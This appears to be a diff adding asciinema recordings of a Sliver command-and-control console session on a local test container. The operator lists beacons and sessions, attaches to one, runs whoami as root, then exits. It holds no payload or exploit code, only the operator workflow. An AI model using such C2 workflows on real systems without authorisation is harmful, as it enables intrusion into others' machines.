[54.315441, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[54.346452, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n"]
|
||||
[54.347833, "o", "\r\n"]
|
||||
[54.359048, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.359301, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[54.35975, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.361463, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[54.362218, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[54.798195, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.813297, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[54.888739, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.888945, "o", "\u001b[6n"]
|
||||
[54.890465, "o", "se\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[54.890967, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[55.057905, "o", "\u001b[?25l\u001b[107D"]
|
||||
[55.059519, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[55.065726, "o", "ses\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[55.270376, "o", "\u001b[1 q"]
|
||||
[55.300588, "o", "\u001b[1 q"]
|
||||
[55.300983, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[55.304519, "o", "\u001b[1m\u001b[32msessions \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[18D\u001b[9C\u001b[107D\u001b[18C\u001b[?25h"]
|
||||
[55.508945, "o", "\u001b[18D\u001b[9C\u001b[6n"]
|
||||
[55.520436, "o", "\u001b[107D\u001b[18C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[55.554794, "o", " ID Transport Remote Address Hostname Username Operating System Health \r\n========== =========== ================= ============== ========== ================== =========\r\n \u001b[0md761c1c5\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m127.0.0.1:60532\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m \u001b[1m\u001b[32m[ALIVE]\u001b[0m \r\n"]
|
||||
[55.555094, "o", "\r\n"]
|
||||
[55.566649, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[55.566788, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[55.568515, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[55.568938, "o", "\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[56.05909, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[56.060174, "o", "\u001b[6n"]
|
||||
[56.063406, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[56.064209, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[56.173214, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[56.178309, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[56.230544, "o", "\u001b[?25l"]
|
||||
[56.231217, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[56.232528, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[56.417403, "o", "\u001b[12D"]
|
||||
[56.430372, "o", "\u001b[9C\u001b[6n"]
|
||||
[56.433219, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D"]
|
||||
[56.435212, "o", "\r\r\n\u001b[0 q\r\n"]
|
||||
[56.457793, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G\u001b[2K"]
|
||||
[56.459779, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[56.460412, "o", "\u001b[1A"]
|
||||
[56.461294, "o", "\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[57.368136, "o", "\u001b8"]
|
||||
[57.369636, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[57.372223, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;1;36m> BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[57.373112, "o", "\u001b[1A\u001b[0G"]
|
||||
[57.709284, "o", "\u001b8\u001b[0G"]
|
||||
[57.712666, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[57.715117, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[58.046505, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CONTINUING_DOWNTOWN (d761c1c5-a50f-402e-9988-eacfdc3f5d76)\r\n"]
|
||||
[58.081455, "o", "\r\n"]
|
||||
[58.097304, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[58.098031, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[58.098116, "o", "\u001b[6n"]
|
||||
[58.100344, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[58.101043, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[59.00066, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.008232, "o", "w\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[59.009408, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[59.034482, "o", "\u001b[?25l\u001b[107D"]
|
||||
[59.035378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.038567, "o", "wh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[59.039195, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[59.081608, "o", "\u001b[?25l\u001b[107D"]
|
||||
[59.081798, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.084025, "o", "who\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[59.254427, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.266619, "o", "whoa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[59.267906, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[59.325631, "o", "\u001b[?25l"]
|
||||
[59.326094, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.331266, "o", "whoam\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[59.377568, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.383107, "o", "\u001b[1m\u001b[32mwhoami\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[59.588329, "o", "\u001b[37D\u001b[31C\u001b[6n"]
|
||||
[59.597529, "o", "\u001b[107D\u001b[37C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[59.610221, "o", "Logon ID: "]
|
||||
[59.611299, "o", "root\r\n\r\n"]
|
||||
[59.629554, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[59.629747, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.631833, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[61.017297, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.026385, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.02663, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[61.068058, "o", "\u001b[?25l"]
|
||||
[61.068722, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.071242, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[61.135517, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[61.136446, "o", "\u001b[6n"]
|
||||
[61.13851, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[61.240549, "o", "\u001b[?25l\u001b[107D"]
|
||||
[61.241615, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.245107, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[61.392645, "o", "\u001b[?25l\u001b[107D"]
|
||||
[61.393455, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.3964, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.397066, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[61.446084, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.453962, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[61.463207, "o", "\u001b[?25l\u001b[107D"]
|
||||
[61.463456, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.466118, "o", "backgro\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[61.466614, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[61.529749, "o", "\u001b[?25l"]
|
||||
[61.530447, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.533051, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C"]
|
||||
[61.533581, "o", "\u001b[?25h"]
|
||||
[61.583812, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[61.584318, "o", "\u001b[6n"]
|
||||
[61.587406, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.58796, "o", "\u001b[107D\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[61.649163, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.655788, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[61.783388, "o", "\u001b[41D\u001b[31C\u001b[6n"]
|
||||
[61.78635, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[61.787211, "o", "\u001b[0 q\r\n"]
|
||||
[61.810475, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[61.821059, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[61.821285, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[61.823176, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[62.090512, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.101672, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[62.103105, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[62.241817, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.249322, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[62.359108, "o", "\u001b[?25l"]
|
||||
[62.36363, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.370148, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[62.370341, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[62.472172, "o", "\u001b[?25l"]
|
||||
[62.474138, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.481703, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[62.483223, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[62.559049, "o", "\u001b[13D\u001b[9C"]
|
||||
[62.559802, "o", "\u001b[6n"]
|
||||
[62.561967, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[62.563209, "o", "\u001b[0 q\r\n"]
|
||||
[62.575201, "o", "Exiting...\r\n"]
|
||||
[62.590297, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[63.849189, "o", "e"]
|
||||
[64.004011, "o", "x"]
|
||||
[64.092826, "o", "i"]
|
||||
[64.22418, "o", "t"]
|
||||
[64.365779, "o", "\r\n"]
|
||||
[64.376672, "o", "\u001b[?2004l\rexit\r\n"]
|
||||
@@ -0,0 +1,438 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714589964, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.140524, "o", "\u001b[?2004h"]
|
||||
[0.148443, "o", "root@98df0494f659:~# "]
|
||||
[1.092972, "o", "."]
|
||||
[1.102658, "o", "/"]
|
||||
[1.244956, "o", "s"]
|
||||
[1.384103, "o", "l"]
|
||||
[1.451221, "o", "i"]
|
||||
[1.566295, "o", "v"]
|
||||
[1.65714, "o", "e"]
|
||||
[1.781979, "o", "r"]
|
||||
[1.875798, "o", "-"]
|
||||
[2.012557, "o", "s"]
|
||||
[2.054748, "o", "e"]
|
||||
[2.12507, "o", "r"]
|
||||
[2.314928, "o", "v"]
|
||||
[2.433486, "o", "e"]
|
||||
[2.51908, "o", "r"]
|
||||
[2.592513, "o", "\r\n"]
|
||||
[2.593653, "o", "\u001b[?2004l\r"]
|
||||
[3.68766, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain infect\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.691324, "o", "\r\n"]
|
||||
[3.71693, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.719317, "o", "\u001b[1 q"]
|
||||
[3.720852, "o", "\u001b[?25l"]
|
||||
[3.720936, "o", "\u001b[107D"]
|
||||
[3.721661, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[3.723556, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.724116, "o", "\r\r\n"]
|
||||
[3.724702, "o", "\u001b[0K"]
|
||||
[3.725093, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[5.058535, "o", "\u001b[9D\u001b[9C"]
|
||||
[5.058773, "o", "\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 1c2fd3e4 CONTINUING_DOWNTOWN - 127.0.0.1:60476 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 18:59:29 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.061131, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D"]
|
||||
[5.061739, "o", "\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[6.880052, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.892592, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[6.894748, "o", "\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[6.986727, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.994765, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[7.089687, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.092, "o", "\u001b[6n"]
|
||||
[7.101323, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[7.222552, "o", "\u001b[?25l"]
|
||||
[7.22397, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.231476, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.232508, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[7.702976, "o", "\u001b[13D\u001b[9C"]
|
||||
[7.704889, "o", "\u001b[6n"]
|
||||
[7.70799, "o", "\u001b[107D"]
|
||||
[7.708825, "o", "\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[7.71392, "o", "\u001b[0 q"]
|
||||
[7.715073, "o", "\r\n"]
|
||||
[7.754419, "o", "\u001b7\u001b[?25l"]
|
||||
[7.755692, "o", "\u001b8\u001b[0G\u001b[2K"]
|
||||
[7.767926, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON 1c2fd3e4 CONTINUING_DOWNTOWN 127.0.0.1:60476 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON 336eb77f CONTINUING_DOWNTOWN 127.0.0.1:60442 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON dd8121c1 CONTINUING_DOWNTOWN 127.0.0.1:60460 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[7.771409, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[7.771878, "o", "\u001b[1A\u001b[0G"]
|
||||
[11.070565, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[11.071419, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON 1c2fd3e4 CONTINUING_DOWNTOWN 127.0.0.1:60476 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[11.079814, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon CONTINUING_DOWNTOWN (1c2fd3e4-045b-445c-9cbc-7c955a42710c)\r\n"]
|
||||
[11.130002, "o", "\r\n"]
|
||||
[11.141528, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[11.141978, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[11.143698, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[12.218211, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l"]
|
||||
[12.218731, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[12.224874, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.22569, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[13.32985, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[13.345968, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[13.347979, "o", "\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[13.488396, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[13.489622, "o", "\u001b[6n"]
|
||||
[13.493719, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[13.580168, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
